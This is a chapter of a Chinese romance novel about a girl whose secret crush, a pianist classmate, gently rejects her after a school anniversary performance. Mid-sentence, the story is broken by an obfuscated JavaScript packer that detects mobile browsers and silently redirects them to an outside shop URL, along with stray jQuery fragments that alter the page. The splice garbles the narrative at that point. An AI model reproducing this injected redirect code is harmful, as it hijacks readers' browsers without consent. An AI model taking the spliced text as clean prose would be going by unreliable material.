第九章校庆与烟花
校庆如期而至。
十一月的南城终于褪去了最后一丝暑气，早晚的风里带上了清晰的凉意。温知夏那天起得格外早，天刚蒙蒙亮就出了门。她背着一个比平时大一些的帆布包，里面装着一件叠得整整齐齐的白色衬衫，和一条深色百褶裙。
那是宣传部统一要求的着装。
主海报在两天前就交了上去。部长看到成品的时候，沉默了好几秒，然后伸手抱了她一下，说：“温知夏，你以后要是不学美术，真的可惜了。”
温知夏笑了笑，没说话。
那张海报已经被做成了巨型喷绘，挂在学校大门口最显眼的位置。五米宽，三米高，浓烈的金黄与暖橙在初冬的清晨里明亮得耀眼。那棵树像要从画布上生长出来一样，枝叶舒展，光斑铺地。
每个走进校门的人，都会看到它。
他也会看到。
温知夏站在宣传栏旁边，远远地望了一眼自己的画。
风把喷绘的边角吹得微微鼓起，画面上的光影也随之轻轻晃动。那一刻，她忽然觉得，好像有什么东西被她从心里捧了出来，摊开在了所有人面前。
那样隐秘的心事，被她画成了光。
校庆的开幕式在上午九点开始。
操场上坐满了人，所有年级的学生按照班级排列，密密麻麻的，像一片蓝白色的海。温知夏没有去观众席，她作为宣传部的工作人员，被安排在舞台侧边的幕后区域，负责给表演人员递水和确认流程。
她拿着节目单，在后台和前台之间来回跑了无数趟。
演出很顺利。歌舞、诗朗诵、乐器合奏，一个接一个。台下的掌声和笑声像潮水一样一波一波地涌过来。温知夏忙得脚不沾地，连喝口水的功夫都没有。
可她心里是开心的。
因为那个人的名字，就在节目单的倒数第三个。
高三七班，秦屿川，钢琴独奏。
温知夏看到这个节目的时候，愣了好一会儿。
她不知道他会弹钢琴。
那一刻她才意识到，原来她对秦屿川的了解，始终只是她所能触及到的冰山一角。他的生活里有太多太多她不不知道的东西，他擅长的那些事，他喜欢的那些歌，他的过去，他的世界。
她只在海岸边捡到了几枚破碎的贝壳，就以为看到了整片海。
下午两点半，主持人报幕的声音从台前传来：“下面请欣赏，高三七班秦屿川同学带来的钢琴独奏。”
温知夏正站在后台的幕布后面。
她悄悄地拉开一道缝，往台上看。
秦屿川走上台来。
他穿了一身黑色的西装，白衬衫的领口挺括，头发梳得比平时整齐一些，露出饱满的额头。他看起来有些不一样了。少了那种少年人的散漫和随意，多了几分沉稳。
他朝台下微微鞠躬，然后在钢琴前坐下来。
温知夏站在暗处，屏住了呼吸。
他弹的是一首她没听过的曲子。
曲子很慢，前半段低沉舒缓，像深秋的河流，在阴天的傍晚缓缓流淌。温知夏听不懂那是什么曲目，也分不清那些复杂的和弦。她只知道，他的手指落在琴键上的样子好看极了。骨节分明，力度精准，像在琴键上跳一支无声的舞。
曲至中段，旋律忽然抬了起来，像有风从河面上吹过，卷起一池碎波。温知夏看见他的肩微微前倾，整个人的力量都压在了指尖上。琴音在礼堂里回荡，清澈透亮，像冬天里的第一场雪，落在她的耳畔。
温知夏的鼻尖有些发酸。
她说不清自己为什么想哭。
可能因为，站在光里的秦屿川太遥远了。他离她那么远，远到连仰望都觉得吃力。他的光从台上照下来，把她衬得愈发暗淡，愈发微不足道。
可她又控制不住地想靠近。
想靠近这个会弹钢琴的秦屿川，想靠近这个穿着黑色西装、像王子一样的秦屿川。她知道这种念头很蠢，蠢得像少女漫画里那些不切实际的桥段。
但她控制不住。
曲子结束的时候，台下响起了很响的掌声。
秦屿川站起来，朝观众席欠了欠身，从舞台侧边走了下来。
他下台的时候，正好经过温知夏站的地方。
温知夏没来得及躲，两人的视线在昏暗的后台里撞了个正着。
她张了张嘴，想说“弹得很好”，可一个字都没挤出来。喉咙像被什么东西堵住了，又干又紧。
秦屿川看了她一眼，微微点了点头，然后从她身边走了过去。
他的衣角带起一阵很轻的风。
那风落在温知夏脸上，凉凉的。
她站在幕布后面，许久没有动。
校庆晚会结束后，所有人都累得像被抽空了力气。
温知夏跟着宣传部的同学们一起收拾场地。搬展板、收横幅、清理舞台上的碎屑。等一切忙完，已经是晚上九点多了。
她背着包从学校里出来，走到校门口的时候，又回头看了一眼那张海报。
夜晚的灯光打在喷绘上，金色和橙色都变得柔和起来，像是被水稀释过。
她看着画上那条铺满光斑的林荫道，忽然觉得，那像一条通往他的路。
很长，很远，一直延伸到她看不见的地方。
温知夏转过头，朝公交站走去。
刚走了几步，身后忽然有人叫她。
“温知夏。”
她猛地停下。
那声音她太熟悉了。熟悉到不需要回头，就知道是谁。
秦屿川从后面慢慢走过来。
他换掉了演出时的西装，重新穿上了那件深灰色的连帽衫。头发大概刚洗过，额前几根碎发有些湿，贴在皮肤上。
他走到她面前，站定。
“你的画。”他说，声音被夜风吹得有些散，“很好看。”
温知夏仰起脸。
夜色里，他的表情看不太清。可她的心跳得厉害，像是要把胸腔撞开一个洞。
“谢谢。”她的声音有些发抖。
秦屿川没有走。
他像是有什么话想说，嘴唇动了动，又闭上了。
两人就这么面对面站着，中间隔着半臂的距离。
校门口的灯把他们俩的影子投在地上，斜斜的，交叠在一起。
温知夏想说点什么来打破沉默，可她的脑子一片空白。她只能听见自己的心跳声，一下一下，大得让人发慌。
“你今天弹得很好。”她终于憋出了一句话。
秦屿川微微偏了一下头：“你听到了？”
“嗯，我在后台。”
他笑了一下。那笑容很浅，淡得几乎看不清楚，但温知夏看见了。
“谢谢。”他说。
接着又沉默了下去。
风从远处吹来，卷起地上几片落叶。温知夏把吹乱的头发别到耳后，低下了头。
她听见秦屿川的声音从头顶传过来，轻得像是从很远的地方飘来的：
“那本速写本，你画得很好。”
温知夏浑身一僵。
她猛地抬头看向他，眼睛里满是慌乱和不可置信。
秦屿川却没有看她。他偏着头，看向校门口那张巨大的喷绘海报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868978|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，声音很淡：“别误会。我只是觉得，画画的人不该一直藏着。”
温知夏说不出话来了。
她的眼眶在那一瞬间涨得发酸，视线变得模糊起来。她使劲睁大眼睛，想把他的轮廓看得更清楚一些，可眼前越来越糊。
“我……”她开口，声音哑得厉害。
“不用解释。”秦屿川说。
他终于转过头来，看向她。目光平静，像一片深不见底的海。
“温知夏，你会遇到更好的人。”他说。
时间在那一刻仿佛被按下了暂停键。
温知夏听见自己的心跳从喧嚣中逐渐安静下来，像潮水退去后的海滩，裸露在空气里的，只有大片大片的荒芜。
她呆呆地站在原地，看着秦屿川转身离开。
他的背影被路灯拉得很长很长，像一道怎么也追不上的影子。
温知夏就那么站着，一直到他彻底消失在她的视线里。
然后她慢慢蹲了下来。
她抱住自己的膝盖，把脸埋进臂弯里，死死地咬住了下嘴唇。
她以为自己会大哭一场。
可她哭不出来。
她的心里像被塞进了一团棉花，又闷又胀，连眼泪都流不出来。
“你会遇到更好的人。”
这句话像一根针，细细地、缓慢地刺进了她最柔软的地方。
他不知道。
他不知道，对她来说，不会再有更好的人了。
她暗恋了他整整一年多。从那个盛夏的小巷开始，到此刻他转身离去的背影，她所有的心跳都打上了同一个邮戳。
那个邮戳上，写着一个名字。
秦屿川。
可今天晚上，他把她的信退了回来。
用最温柔的方式。
用那句“你会遇到更好的人”。
温知夏蹲在地上，像一株被霜打蔫了的小草。
许久之后，她慢慢站起来，擦了擦脸。
脸上没有泪。
只有风干的痕迹。
温知夏走到公交站台，坐下，从包里拿出手机。
屏幕上有两条未读消息。一条是苏晓发来的，问她到家没有。另一条是宣传部的群消息，部长说明天下午开会总结校庆工作。
温知夏回了苏晓一句“在车上”，然后锁了屏。
她抬头看着夜晚的天空。
南城的夜空很少能看见星星。只有几片薄薄的云，慢慢移动着，遮住了月亮。
温知夏忽然想起高一那年的元旦。
她坐在那间空荡荡的教室里，听着远处的烟花声，在一张贺卡上写下“新年快乐，秦屿川”。
那时候的她想，如果有一天，他能看见她，能叫她的名字，能站在她面前听她说一句“新年快乐”，就好了。
这个愿望，在今天实现了一半。
他看见她了。
他叫她的名字了。
他站在她面前了。
可他也对她说，你会遇到更好的人。
原来暗恋的终点，不是被拒绝，也不是得到回应。
而是那个人，用最平静的语气，替她写好了答案。
公交车缓缓驶来，停在站台前。
温知夏站起来，上了车，找了一个靠窗的位置坐下。
车窗外的灯光一盏接一盏地掠过。
她把脸贴在冰凉的窗玻璃上，闭上了眼睛。
“新年快乐，秦屿川。”她在心里小声说。
虽然，现在还不是新年。
虽然，他可能再也不想收到了。
（第九章完）